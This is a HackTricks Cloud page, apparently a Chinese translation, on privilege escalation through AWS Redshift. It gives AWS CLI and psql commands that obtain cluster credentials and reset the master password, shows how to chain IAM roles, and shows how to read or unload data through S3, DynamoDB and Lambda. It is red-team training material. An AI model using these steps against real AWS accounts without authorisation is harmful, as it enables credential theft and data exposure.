AWS - Redshift Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Redshift
有关 RDS 的更多信息,请参阅:
redshift:DescribeClusters, redshift:GetClusterCredentials
拥有这些权限,你可以获取所有集群的信息(包括名称和集群用户名),并获取访问凭证来访问它:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Potential Impact: 在数据库中查找敏感信息。
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
拥有这些权限后,你可以获取 所有集群的信息 并 获取访问凭证。
请注意,postgres 用户将具有用于获取凭证的 由 IAM identity 所拥有的权限。
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Potential Impact: 在数据库中找到敏感信息。
redshift:DescribeClusters, redshift:ModifyCluster?
可以通过 aws cli 修改 internal postgres (redshit) 用户的主密码(我认为这些是你需要的权限,但我还没有测试过):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
潜在影响: 在数据库中查找敏感信息。
访问外部服务
Warning
要访问下面所有资源,您需要 指定要使用的角色。一个 Redshift 集群 can have assigned a list of AWS roles,如果您知道 ARN 就可以使用,或者您也可以将 “default” 设置为使用分配的默认角色。
此外,正如 explained here,Redshift 还允许串联角色(只要第一个可以 assume 第二个)以获得更高访问权限,但只需用 逗号 将它们 分隔:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
如 https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html 所述,可以从 Redshift call a lambda function from redshift,例如:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
如在 https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html 所述,可以读取和写入 S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
正如 https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html 中所述,可以 从 dynamodb 获取数据:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
提供数据的 Amazon DynamoDB 表必须在与您的集群相同的 AWS Region 中创建,除非您使用 REGION 选项来指定 Amazon DynamoDB 表所在的 AWS Region。
EMR
参阅 https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
参考资料
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

